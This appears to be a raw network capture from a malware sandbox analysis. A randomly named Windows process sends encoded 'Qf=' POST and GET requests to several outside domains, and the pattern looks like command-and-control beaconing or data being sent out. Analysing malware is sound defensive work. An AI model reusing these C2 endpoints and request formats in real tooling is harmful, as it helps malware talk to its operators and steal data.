Qf=ZpKqBbEejXxt9lTuSlQtSZjcnMmB/ZvrvXkjt1Ps4pqbeS6z01R5R65Hq7UMS8edHES+EVit7G0WE83V75MuZrHUj0Y/HESX9C6drBuEE2d+UPfQTCsQuX1Fmt5aab0crzawOrNf16skwjRJilAzeOhG/BBdHWTqGUxcSth/DglFMHsPP6lInzEUksQ4On1MoUYP0KGqVxOsiT+Mlqm5Xk3SeMvCzqxRA6XlbxeS/Rp8UNpgETjzzdtyxNmZO7uM7DhjP8u2eizXNSnCTNfIBj7wpFeqdPJB4yweRSD9pXV6TE2ZwuiYdC0ZNY+F7vpJc1hY3L8zZ/VX7Hep+okYdSWijefIfhKrGWCTlupWLDWkUTXUoGcJlVjr6c8MOM76SI2q70ojwvO5LoK5DdxjVNd8h00ghqv5BarkkaCTbNV+mF20KFgYQUCmF/1rCMXBfEjXVp8k3ocqxhgsF2Sw9ciXa2ll2byaQruOmnpzCnUFLPsWOPanNRB82GHec5aZND3mz44Le18jMpuEeAfATHjRJDYxG6CoV0JhiHvccfqFyNpMm4CyDWjXpVjKEJkfrHwUv5EiGrzLVOV/XSfTMuD4ummfraZo71LjcJZXv7DI/BsEZkt5FChkZ43OUddA3pB7NJPt+9RYzuf00uzGuoNgHXs9A4lDtegDm5yBcYiVLMF9cMFMeNBotJujlIDMF2dckPndy/1xlFN4sJsQVCeRSGcJK0QxI2nrLJNSoNn0iqk1nis25L1abTV+N3IiW+Z5/Kp1BllgEm/Pjw3jUsQHyA8T02dnCqtUyF73aHzN9wtM5kARUgNKO/a4NcGzmZwg520dcDqOnRvPHCeKYFajX49yuGCefV+fuXnWIVi5k7kOyhNJ+a12SQ0tNeU5EdG/VCGrh+8+ijD88kkRrmmIsAHre2YlWOz50VO0oy+5CmVfMjCldehyI4XBAMDIrfSDnVFQKzf3qTmvYiqdWTmdspC1PN8KUZ/VBLXJwoMP5KDu6 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	60422	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:52.642910957 CET	516	OUT	GET /v4bm/?dfNhZ=LvKD&Qf=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHV7fB1Fw6KFne1D6Rug6LMA95ePfrFnRHm3EVt8hGUqlbxg== HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:03:53.264292955 CET	401	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Oct 2024 09:03:53 GMT Content-Type: text/html Content-Length: 261 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 66 4e 68 5a 3d 4c 76 4b 44 26 51 66 3d 55 72 69 4b 43 73 38 49 75 46 46 52 34 54 54 71 64 6e 38 6d 57 39 71 6e 37 74 57 78 36 50 33 5a 69 6e 6c 7a 70 6a 44 71 34 66 43 79 4b 44 72 5a 34 56 74 47 54 50 56 48 6a 4b 63 42 64 63 47 4e 4f 6a 65 62 4b 31 72 76 36 6b 4d 75 50 37 44 55 35 37 45 48 56 37 66 42 31 46 77 36 4b 46 6e 65 31 44 36 52 75 67 36 4c 4d 41 39 35 65 50 66 72 46 6e 52 48 6d 33 45 56 74 38 68 47 55 71 6c 62 78 67 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dfNhZ=LvKD&Qf=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHV7fB1Fw6KFne1D6Rug6LMA95ePfrFnRHm3EVt8hGUqlbxg=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	60423	209.74.64.189	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:58.323820114 CET	775	OUT	POST /mnch/ HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.martmall.info Referer: http://www.martmall.info/mnch/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 69 2b 70 41 56 70 66 31 52 64 75 46 51 32 47 43 78 64 67 6a 6f 33 41 44 4f 49 4d 65 42 30 5a 61 35 4f 35 50 6c 56 55 65 72 53 48 38 58 4c 6a 6c 47 4b 78 66 74 39 4c 79 2f 37 37 4c 74 66 64 51 44 34 71 66 59 69 6f 6d 52 39 43 35 30 47 48 4f 66 56 4a 4d 36 69 47 31 43 58 68 42 6c 68 46 48 49 56 52 30 4e 43 51 73 77 4c 6f 36 31 33 2f 68 75 4a 33 38 73 64 47 64 79 61 75 6f 51 66 61 65 67 50 2b 4b 30 4d 74 4d 74 55 52 73 52 69 59 55 6f 41 4d 47 52 37 48 74 47 34 65 4a 78 50 44 48 4e 36 53 50 71 72 65 33 74 64 7a 34 77 47 7a 69 6f 37 65 71 47 34 2b 64 6e 6e 4e 32 59 73 72 55 6e 31 36 4a 7a 4d 73 3d Data Ascii: Qf=i+pAVpf1RduFQ2GCxdgjo3ADOIMeB0Za5O5PlVUerSH8XLjlGKxft9Ly/77LtfdQD4qfYiomR9C50GHOfVJM6iG1CXhBlhFHIVR0NCQswLo613/huJ38sdGdyauoQfaegP+K0MtMtURsRiYUoAMGR7HtG4eJxPDHN6SPqre3tdz4wGzio7eqG4+dnnN2YsrUn16JzMs=
Oct 29, 2024 10:03:58.995996952 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 09:03:58 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	60424	209.74.64.189	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:04:00.864689112 CET	795	OUT	POST /mnch/ HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.martmall.info Referer: http://www.martmall.info/mnch/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 69 2b 70 41 56 70 66 31 52 64 75 46 57 6d 32 43 2b 63 67 6a 75 58 41 45 54 34 4d 65 50 55 5a 65 35 4f 46 50 6c 55 52 47 71 67 6a 38 58 70 72 6c 48 49 5a 66 75 39 4c 79 30 62 37 4b 77 50 64 62 44 34 75 39 59 6a 55 6d 52 38 69 35 30 45 66 4f 65 69 64 50 6f 69 47 33 4a 33 68 48 37 52 46 48 49 56 52 30 4e 43 45 56 77 4b 4d 36 32 45 6e 68 68 49 33 39 6c 39 47 63 78 61 75 6f 55 66 61 61 67 50 2b 6b 30 4e 42 71 74 52 56 73 52 6a 6f 55 6f 56 67 48 4b 4c 47 6b 5a 6f 66 47 2f 73 6d 56 55 38 69 57 6d 5a 44 79 37 76 76 78 34 51 65 49 79 5a 57 43 56 59 53 6c 33 30 46 42 4a 63 4b 39 39 57 71 35 74 62 35 52 75 39 71 39 2f 4e 4f 38 34 53 7a 2f 68 65 52 35 66 44 76 7a Data Ascii: Qf=i+pAVpf1RduFWm2C+cgjuXAET4MePUZe5OFPlURGqgj8XprlHIZfu9Ly0b7KwPdbD4u9YjUmR8i50EfOeidPoiG3J3hH7RFHIVR0NCEVwKM62EnhhI39l9GcxauoUfaagP+k0NBqtRVsRjoUoVgHKLGkZofG/smVU8iWmZDy7vvx4QeIyZWCVYSl30FBJcK99Wq5tb5Ru9q9/NO84Sz/heR5fDvz
Oct 29, 2024 10:04:01.613327026 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 09:04:01 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	60425	209.74.64.189	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:04:03.595606089 CET	1812	OUT	POST /mnch/ HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.martmall.info Referer: http://www.martmall.info/mnch/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 69 2b 70 41 56 70 66 31 52 64 75 46 57 6d 32 43 2b 63 67 6a 75 58 41 45 54 34 4d 65 50 55 5a 65 35 4f 46 50 6c 55 52 47 71 67 72 38 58 63 6e 6c 48 70 5a 66 76 39 4c 79 35 37 37 58 77 50 64 38 44 2b 47 35 59 6a 5a 45 52 35 6d 35 30 6e 58 4f 50 6d 78 50 79 79 47 33 47 58 68 47 6c 68 46 4f 49 56 42 77 4e 43 55 56 77 4b 4d 36 32 42 72 68 6f 35 33 39 6a 39 47 64 79 61 75 6b 51 66 61 69 67 50 6e 5a 30 4e 46 63 74 6c 68 73 52 44 34 55 70 6a 55 48 58 37 47 6d 59 6f 65 5a 2f 73 62 4c 55 38 57 61 6d 59 6e 49 37 74 76 78 79 58 72 55 33 64 61 65 50 61 47 53 34 6b 67 6b 62 4c 36 35 2b 77 79 74 6c 39 70 72 69 75 2b 76 35 4a 2b 63 32 43 69 72 34 72 46 36 50 54 43 6f 57 75 56 41 78 70 57 37 78 61 39 34 66 69 54 34 41 52 70 43 62 33 67 41 62 56 52 63 67 44 63 55 34 35 6c 2b 75 33 32 6c 4e 48 44 77 79 47 69 73 4c 74 4d 42 76 4d 31 57 72 34 4c 43 46 33 39 36 48 5a 45 42 51 2b 61 56 36 6e 62 59 78 31 78 67 42 76 6a 64 6d 61 34 38 41 65 52 2f 2f 5a 44 78 2f 72 58 35 42 71 53 79 6e 68 41 5a 6e 37 39 44 48 34 49 [TRUNCATED] Data Ascii: Qf=i+pAVpf1RduFWm2C+cgjuXAET4MePUZe5OFPlURGqgr8XcnlHpZfv9Ly577XwPd8D+G5YjZER5m50nXOPmxPyyG3GXhGlhFOIVBwNCUVwKM62Brho539j9GdyaukQfaigPnZ0NFctlhsRD4UpjUHX7GmYoeZ/sbLU8WamYnI7tvxyXrU3daePaGS4kgkbL65+wytl9priu+v5J+c2Cir4rF6PTCoWuVAxpW7xa94fiT4ARpCb3gAbVRcgDcU45l+u32lNHDwyGisLtMBvM1Wr4LCF396HZEBQ+aV6nbYx1xgBvjdma48AeR//ZDx/rX5BqSynhAZn79DH4ITJBnaSKXA7y0+q1M6zxnRHF/WjoNKYXKwjbdo8/eaAqGO9HGks9YoqVSNPNV1ybRI4UC4djYIOufwnfvjUlw1DiAf7sGY+YRnUfwkmkhM26xcAxRLJ/XQS2S3wkur5bhhwIkyH35N6OXM9DnTryN453ufeI79D3sjZp+j0II0IFWd1jsUADCSmTi/GzFjAMkcCF8vAsAL4oIIkEEdhxcMV25WsYR/LD2x34MSZfmNMVBFfW1cZ1LEEiFRjr86NlkC7Y+BK/0oQ0jLzJ0VcJerIT/1ZN4V1C6snNXcrYSoYODx96OYUyIOmEeGEtx98YgVREFl7vQiUD02k83l1ffUEu6CUnd4QmyBg+ImrUikOST3w4bk3em77P3uwYP82suMcuuwmqlQM60laGKfk3mKNlRAvu6M21r/fKAcwOFZzPJs44HBecrzeltcrLl4jlH8K5V7RIpwZaMcylFntiNbEj5ms6KCZ7PRVz9ZolK+DJlD61KMvQB4r2arJcNmOXX/68dTWpy5E1yXQYvj5gCuUhs+p2CbrDJUwVAuvjHXXGYd4/gQkdlzxp1DiSsRQV73Y0fJxBLtfA17E50kUVlfdgwszNCkblvpjCp7N9cIUO86dDeKRqvcbcRs5ooXanXdtns1k3CL3i/Nwlp0RCjGajUcLYkHCJlDq [TRUNCATED]
Oct 29, 2024 10:04:04.266885042 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 09:04:04 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	60426	209.74.64.189	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:04:06.139580965 CET	511	OUT	GET /mnch/?Qf=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4w1CZZWRBx0MxE1RuFxwGmdcG7Wvf0YOjoPTL66WOa4bW0g==&dfNhZ=LvKD HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:04:06.809178114 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 09:04:06 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	60427	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:04:11.981365919 CET	784	OUT	POST /5dij/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/5dij/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 70 6e 41 5a 34 31 2b 4a 62 31 4a 4b 38 4c 53 62 6c 49 6e 2b 59 6f 4e 41 66 38 4c 75 74 42 61 51 52 65 6c 74 6e 51 4f 39 32 32 6e 41 57 64 38 5a 50 6a 54 6e 61 35 5a 70 31 6e 70 65 2f 59 4d 4a 36 61 4d 73 59 31 43 51 54 73 75 4d 35 43 57 66 74 63 64 30 63 6d 4e 6b 4b 4b 4d 34 63 32 74 70 75 71 54 39 56 54 64 31 67 51 67 54 32 76 32 38 51 6d 68 65 78 43 61 77 73 37 44 7a 6d 47 76 56 6a 6f 4b 69 79 63 34 45 43 4d 36 69 6a 6d 58 4c 4b 79 56 41 55 76 66 7a 47 51 74 55 6b 63 49 61 72 36 46 68 62 51 61 33 65 2f 43 53 62 2f 4d 30 62 31 7a 59 59 64 78 31 57 76 6f 41 34 64 6b 6a 58 6c 67 6c 43 54 55 3d Data Ascii: Qf=pnAZ41+Jb1JK8LSblIn+YoNAf8LutBaQReltnQO922nAWd8ZPjTna5Zp1npe/YMJ6aMsY1CQTsuM5CWftcd0cmNkKKM4c2tpuqT9VTd1gQgT2v28QmhexCaws7DzmGvVjoKiyc4ECM6ijmXLKyVAUvfzGQtUkcIar6FhbQa3e/CSb/M0b1zYYdx1WvoA4dkjXlglCTU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	60428	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:04:14.523159027 CET	804	OUT	POST /5dij/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/5dij/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 70 6e 41 5a 34 31 2b 4a 62 31 4a 4b 2b 6f 36 62 70 4c 66 2b 66 49 4e 44 52 63 4c 75 6a 68 61 63 52 66 5a 74 6e 53 69 58 32 46 50 41 57 2f 30 5a 4f 69 54 6e 64 35 5a 70 39 48 6f 55 77 34 4d 34 36 61 49 4b 59 30 2b 51 54 73 36 4d 35 44 6d 66 74 76 6c 37 63 32 4e 63 43 71 4d 36 44 47 74 70 75 71 54 39 56 54 49 59 67 51 6f 54 31 63 65 38 51 48 68 64 37 69 61 7a 72 37 44 7a 31 57 76 52 6a 6f 4c 78 79 5a 52 66 43 4f 53 69 6a 6e 6e 4c 4a 6a 56 44 61 76 66 78 59 51 73 6c 6a 75 59 51 69 4a 4e 76 52 6d 58 59 4c 35 4f 78 61 4a 68 65 42 58 37 77 4c 39 64 4e 47 38 67 33 70 74 46 4b 4e 47 77 56 63 45 41 31 6c 56 38 56 62 71 72 6c 72 50 48 39 79 78 2f 43 67 49 6d 45 Data Ascii: Qf=pnAZ41+Jb1JK+o6bpLf+fINDRcLujhacRfZtnSiX2FPAW/0ZOiTnd5Zp9HoUw4M46aIKY0+QTs6M5Dmftvl7c2NcCqM6DGtpuqT9VTIYgQoT1ce8QHhd7iazr7Dz1WvRjoLxyZRfCOSijnnLJjVDavfxYQsljuYQiJNvRmXYL5OxaJheBX7wL9dNG8g3ptFKNGwVcEA1lV8VbqrlrPH9yx/CgImE

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	60429	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:04:17.408782005 CET	1821	OUT	POST /5dij/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/5dij/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 70 6e 41 5a 34 31 2b 4a 62 31 4a 4b 2b 6f 36 62 70 4c 66 2b 66 49 4e 44 52 63 4c 75 6a 68 61 63 52 66 5a 74 6e 53 69 58 32 46 58 41 58 4d 73 5a 42 67 37 6e 63 35 5a 70 33 6e 6f 58 77 34 4d 6c 36 61 77 4f 59 30 79 6d 54 75 43 4d 36 68 65 66 76 61 4a 37 53 32 4e 63 4f 4b 4d 37 63 32 73 72 75 71 44 78 56 54 59 59 67 51 6f 54 31 5a 61 38 53 57 68 64 39 69 61 77 73 37 44 2f 6d 47 76 31 6a 6f 53 45 79 5a 63 71 43 2f 79 69 6a 48 33 4c 50 52 39 44 46 66 66 33 64 51 73 39 6a 75 56 4b 69 4a 68 4e 52 6d 4c 68 4c 2b 4b 78 61 34 4e 4a 46 55 54 6b 4a 